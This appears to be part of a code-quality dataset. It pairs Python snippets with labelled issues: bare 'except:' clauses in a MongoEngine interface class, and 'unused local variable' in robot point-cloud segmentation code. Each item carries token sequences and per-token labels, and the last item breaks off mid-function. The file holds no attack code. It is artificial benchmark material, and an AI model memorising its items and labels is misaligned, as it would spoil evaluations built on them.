"index": 87 }, { "content": " def is_boolean(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], BooleanField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_boolean", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 93 }, { "content": " def is_datetime(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], DateTimeField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_datetime", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 99 }, { "content": " def is_gridfs_file(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], FileField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_gridfs_file", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 105 }, { "content": " def is_gridfs_image(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], ImageField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_gridfs_image", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 111 }, { "content": " def is_relation(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], ReferenceField) or \\\n isinstance(self.obj._fields[col_name], ListField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_relation", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 117 }, { "content": " def is_relation_many_to_one(self, col_name):\n try:\n return isinstance(self.obj._fields[col_name], ReferenceField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_relation_many_to_one", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 124 }, { "content": " def is_relation_many_to_many(self, col_name):\n try:\n field = self.obj._fields[col_name]\n return isinstance(field, ListField) and isinstance(field.field, ReferenceField)\n except:\n return False", "metadata": "root.MongoEngineInterface.is_relation_many_to_many", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 130 }, { "content": " def get_max_length(self, col_name):\n try:\n col = self.obj._fields[col_name]\n if col.max_length:\n return col.max_length\n else:\n return -1\n except:\n return -1", "metadata": "root.MongoEngineInterface.get_max_length", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 152 }, { "content": " def get_min_length(self, col_name):\n try:\n col = self.obj._fields[col_name]\n if col.min_length:\n return col.min_length\n else:\n return -1\n except:\n return -1", "metadata": "root.MongoEngineInterface.get_min_length", "header": "['class', 'MongoEngineInterface', '(', 'BaseInterface', ')', ':', '___EOS___']", "index": 162 } ]
[ { "span": "except:", "start_line": 72, "start_column": 8, "end_line": 72, "end_column": 15 }, { "span": "except:", "start_line": 78, "start_column": 8, "end_line": 78, "end_column": 15 }, { "span": "except:", "start_line": 84, "start_column": 8, "end_line": 84, "end_column": 15 }, { "span": "except:", "start_line": 90, "start_column": 8, "end_line": 90, "end_column": 15 }, { "span": "except:", "start_line": 96, "start_column": 8, "end_line": 96, "end_column": 15 }, { "span": "except:", "start_line": 102, "start_column": 8, "end_line": 102, "end_column": 15 }, { "span": "except:", "start_line": 108, "start_column": 8, "end_line": 108, "end_column": 15 }, { "span": "except:", "start_line": 114, "start_column": 8, "end_line": 114, "end_column": 15 }, { "span": "except:", "start_line": 121, "start_column": 8, "end_line": 121, "end_column": 15 }, { "span": "except:", "start_line": 127, "start_column": 8, "end_line": 127, "end_column": 15 }, { "span": "except:", "start_line": 134, "start_column": 8, "end_line": 134, "end_column": 15 }, { "span": "except:", "start_line": 159, "start_column": 8, "end_line": 159, "end_column": 15 }, { "span": "except:", "start_line": 169, "start_column": 8, "end_line": 169, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "object\\u", "id_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "Object", "Id", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "string_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "String", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "integer_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "Int", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "float_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "Float", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "boolean_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "Boo", "lean", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "datetime_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "Date", "Time", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "grid", "fs", "\\u", "file_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "File", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "grid", "fs", "\\u", "image_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "Image", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "relation_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "Reference", "Field_", ")_", "or_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "List", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "relation", "\\u", "many", "\\u", "to", "\\u", "one_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", ",_", "Reference", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "relation", "\\u", "many", "\\u", "to", "\\u", "many_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "field_", "=_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "isinstance_", "(_", "field_", ",_", "List", "Field_", ")_", "and_", "isinstance_", "(_", "field_", "._", "field_", ",_", "Reference", "Field_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "max", "\\u", "length_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col_", "=_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "col_", "._", "max", "\\u", "length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "col_", "._", "max", "\\u", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "Engine", "Interface_", "(_", "Base", "Interface_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "min", "\\u", "length_", "(_", "self_", ",_", "col", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col_", "=_", "self_", "._", "obj_", "._", "\\u", "fields_", "[_", "col", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "col_", "._", "min", "\\u", "length_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "col_", "._", "min", "\\u", "length_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
RobotLocomotion/director/src/python/director/segmentation.py
[ { "content": " def update(self):\n\n utime = self.imageManager.queue.getCurrentImageTime(self.cameraName)\n if utime == self.lastUtime:\n return\n\n if (utime < self.lastUtime ):\n temp=0 # dummy\n elif (utime - self.lastUtime < 1E6/self.getProperty('Target FPS')):\n return\n\n decimation = int(self.properties.getPropertyEnumValue('Decimation'))\n removeSize = int(self.properties.getProperty('Remove Size'))\n polyData = getDisparityPointCloud(decimation, imagesChannel=self.getProperty('Channel'), cameraName=self.getProperty('Camera name'),\n removeOutliers=False, removeSize=removeSize)\n self.setPolyData(polyData)\n\n if not self.lastUtime:\n self.setProperty('Color By', 'rgb_colors')\n\n self.lastUtime = utime", "metadata": "root.DisparityPointCloudItem.update", "header": "['class', 'DisparityPointCloudItem', '(', 'vis', '.', 'PolyDataItem', ')', ':', '___EOS___']", "index": 208 }, { "content": "def showMajorPlanes(polyData=None):\n\n if not polyData:\n inputObj = om.findObjectByName('pointcloud snapshot')\n inputObj.setProperty('Visible', False)\n polyData = inputObj.polyData\n\n om.removeFromObjectModel(om.findObjectByName('major planes'))\n folderObj = om.findObjectByName('segmentation')\n folderObj = om.getOrCreateContainer('major planes', folderObj)\n\n origin = SegmentationContext.getGlobalInstance().getViewFrame().GetPosition()\n polyData = labelDistanceToPoint(polyData, origin)\n polyData = thresholdPoints(polyData, 'distance_to_point', [1, 4])\n\n polyDataList = getMajorPlanes(polyData)\n\n for i, polyData in enumerate(polyDataList):\n obj = showPolyData(polyData, 'plane %d' % i, color=getRandomColor(), visible=True, parent='major planes')\n obj.setProperty('Point Size', 3)", "metadata": "root.showMajorPlanes", "header": "['module', '___EOS___']", "index": 414 }, { "content": "def segmentLeverValve(point1, point2):\n\n inputObj = om.findObjectByName('pointcloud snapshot')\n polyData = inputObj.polyData\n\n viewPlaneNormal = np.array(getSegmentationView().camera().GetViewPlaneNormal())\n polyData, origin, normal = applyPlaneFit(polyData, expectedNormal=viewPlaneNormal, searchOrigin=point1, searchRadius=0.2, angleEpsilon=0.7, returnOrigin=True)\n\n\n wallPoints = thresholdPoints(polyData, 'dist_to_plane', [-0.01, 0.01])\n updatePolyData(wallPoints, 'wall points', parent=getDebugFolder(), visible=False)\n\n radius = 0.01\n length = 0.33\n\n normal = -normal # set z to face into wall\n zaxis = normal\n xaxis = [0, 0, 1]\n yaxis = np.cross(zaxis, xaxis)\n xaxis = np.cross(yaxis, zaxis)\n xaxis /= np.linalg.norm(xaxis)\n yaxis /= np.linalg.norm(yaxis)\n t = getTransformFromAxes(xaxis, yaxis, zaxis)\n t.PostMultiply()\n t.Translate(point2)\n\n leverP1 = point2\n leverP2 = point2 + xaxis * length\n d = DebugData()\n d.addLine([0,0,0], [length, 0, 0], radius=radius)\n d.addSphere ( [0, 0, 0], 0.02)\n geometry = d.getPolyData()\n\n\n obj = showPolyData(geometry, 'valve lever', cls=FrameAffordanceItem, parent='affordances', color=[0,1,0], visible=True)\n obj.actor.SetUserTransform(t)\n obj.addToView(app.getDRCView())\n frameObj = showFrame(t, 'lever frame', parent=obj, visible=False)\n frameObj.addToView(app.getDRCView())\n\n otdfType = 'lever_valve'\n params = dict(origin=np.array(t.GetPosition()), xaxis=xaxis, yaxis=yaxis, zaxis=zaxis, xwidth=0.1, ywidth=0.1, zwidth=0.1, radius=radius, length=length, friendly_name=otdfType, otdf_type=otdfType)\n obj.setAffordanceParams(params)\n obj.updateParamsFromActorTransform()", "metadata": "root.segmentLeverValve", "header": "['module', '___EOS___']", "index": 1774 }, { "content": "def segmentWye(point1, point2):\n\n\n inputObj = om.findObjectByName('pointcloud snapshot')\n polyData = inputObj.polyData\n\n viewPlaneNormal = np.array(getSegmentationView().camera().GetViewPlaneNormal())\n\n polyData, origin, normal = applyPlaneFit(polyData, expectedNormal=viewPlaneNormal, searchOrigin=point1, searchRadius=0.2, angleEpsilon=0.7, returnOrigin=True)\n\n\n wallPoints = thresholdPoints(polyData, 'dist_to_plane', [-0.01, 0.01])\n updatePolyData(wallPoints, 'wall points', parent=getDebugFolder(), visible=False)\n\n wyeMesh = ioUtils.readPolyData(os.path.join(app.getDRCBase(), 'software/models/otdf/wye.obj'))\n\n wyeMeshPoint = np.array([0.0, 0.0, 0.005])\n wyeMeshLeftHandle = np.array([0.032292, 0.02949, 0.068485])\n\n xaxis = -normal\n zaxis = [0, 0, 1]\n yaxis = np.cross(zaxis, xaxis)\n yaxis /= np.linalg.norm(yaxis)\n zaxis = np.cross(xaxis, yaxis)\n\n t = getTransformFromAxes(xaxis, yaxis, zaxis)\n t.PreMultiply()\n t.Translate(-wyeMeshPoint)\n t.PostMultiply()\n t.Translate(point2)\n\n d = DebugData()\n d.addSphere(point2, radius=0.005)\n updatePolyData(d.getPolyData(), 'wye pick point', parent=getDebugFolder(), visible=False)\n\n wyeObj = showPolyData(wyeMesh, 'wye', cls=FrameAffordanceItem, color=[0,1,0], visible=True)\n wyeObj.actor.SetUserTransform(t)\n wyeObj.addToView(app.getDRCView())\n frameObj = showFrame(t, 'wye frame', parent=wyeObj, visible=False)\n frameObj.addToView(app.getDRCView())\n\n params = dict(origin=np.array(t.GetPosition()), xaxis=xaxis, yaxis=yaxis, zaxis=zaxis, xwidth=0.1, ywidth=0.1, zwidth=0.1, friendly_name='wye', otdf_type='wye')\n wyeObj.setAffordanceParams(params)\n wyeObj.updateParamsFromActorTransform()", "metadata": "root.segmentWye", "header": "['module', '___EOS___']", "index": 1820 }, { "content": "def segmentDoorHandle(otdfType, point1, point2):\n\n inputObj = om.findObjectByName('pointcloud snapshot')\n polyData = inputObj.polyData\n\n viewPlaneNormal = np.array(getSegmentationView().camera().GetViewPlaneNormal())\n\n polyData, origin, normal = applyPlaneFit(polyData, expectedNormal=viewPlaneNormal, searchOrigin=point1, searchRadius=0.2, angleEpsilon=0.7, returnOrigin=True)\n\n wallPoints = thresholdPoints(polyData, 'dist_to_plane', [-0.01, 0.01])\n updatePolyData(wallPoints, 'wall points', parent=getDebugFolder(), visible=False)\n\n handlePoint = np.array([0.005, 0.065, 0.011])\n\n xaxis = -normal\n zaxis = [0, 0, 1]\n yaxis = np.cross(zaxis, xaxis)\n yaxis /= np.linalg.norm(yaxis)\n zaxis = np.cross(xaxis, yaxis)\n\n xwidth = 0.01\n ywidth = 0.13\n zwidth = 0.022\n cube = vtk.vtkCubeSource()\n cube.SetXLength(xwidth)\n cube.SetYLength(ywidth)\n cube.SetZLength(zwidth)\n cube.Update()\n cube = shallowCopy(cube.GetOutput())\n\n t = getTransformFromAxes(xaxis, yaxis, zaxis)\n #t.PreMultiply()\n #t.Translate(-handlePoint)\n t.PostMultiply()\n t.Translate(point2)\n\n name = 'door handle'\n obj = showPolyData(cube, name, cls=FrameAffordanceItem, parent='affordances')\n obj.actor.SetUserTransform(t)\n obj.addToView(app.getDRCView())\n\n params = dict(origin=origin, xwidth=xwidth, ywidth=ywidth, zwidth=zwidth, xaxis=xaxis, yaxis=yaxis, zaxis=zaxis, friendly_name=name, otdf_type=otdfType)\n obj.setAffordanceParams(params)\n obj.updateParamsFromActorTransform()\n\n frameObj = showFrame(obj.actor.GetUserTransform(), name + ' frame', parent=obj, visible=False)\n frameObj.addToView(app.getDRCView())", "metadata": "root.segmentDoorHandle", "header": "['module', '___EOS___']", "index": 1866 }, { "content": "def segmentTruss(point1, point2):\n\n\n\n edge = point2 - point1\n edgeLength = np.linalg.norm(edge)\n\n stanceOffset = [-0.42, 0.0, 0.0]\n stanceYaw = 0.0\n\n\n d = DebugData()\n p1 = [0.0, 0.0, 0.0]\n p2 = -np.array([0.0, -1.0, 0.0]) * edgeLength\n d.addSphere(p1, radius=0.02)\n d.addSphere(p2, radius=0.02)\n d.addLine(p1, p2)\n\n stanceTransform = vtk.vtkTransform()\n stanceTransform.PostMultiply()\n stanceTransform.Translate(stanceOffset)\n #stanceTransform.RotateZ(stanceYaw)\n\n geometry = transformPolyData(d.getPolyData(), stanceTransform.GetLinearInverse())\n\n yaxis = edge/edgeLength\n zaxis = [0.0, 0.0, 1.0]\n xaxis = np.cross(yaxis, zaxis)\n xaxis /= np.linalg.norm(xaxis)\n yaxis = np.cross(zaxis, xaxis)\n yaxis /= np.linalg.norm(yaxis)\n\n\n xwidth = 0.1\n ywidth = edgeLength\n zwidth = 0.1\n\n t = getTransformFromAxes(xaxis, yaxis, zaxis)\n t.PreMultiply()\n t.Concatenate(stanceTransform)\n t.PostMultiply()\n t.Translate(point1)\n\n name = 'truss'\n otdfType = 'robot_knees'\n obj = showPolyData(geometry, name, cls=FrameAffordanceItem, parent='affordances')\n obj.actor.SetUserTransform(t)\n obj.addToView(app.getDRCView())\n\n params = dict(origin=t.GetPosition(), xwidth=xwidth, ywidth=ywidth, zwidth=zwidth, xaxis=xaxis, yaxis=yaxis, zaxis=zaxis, 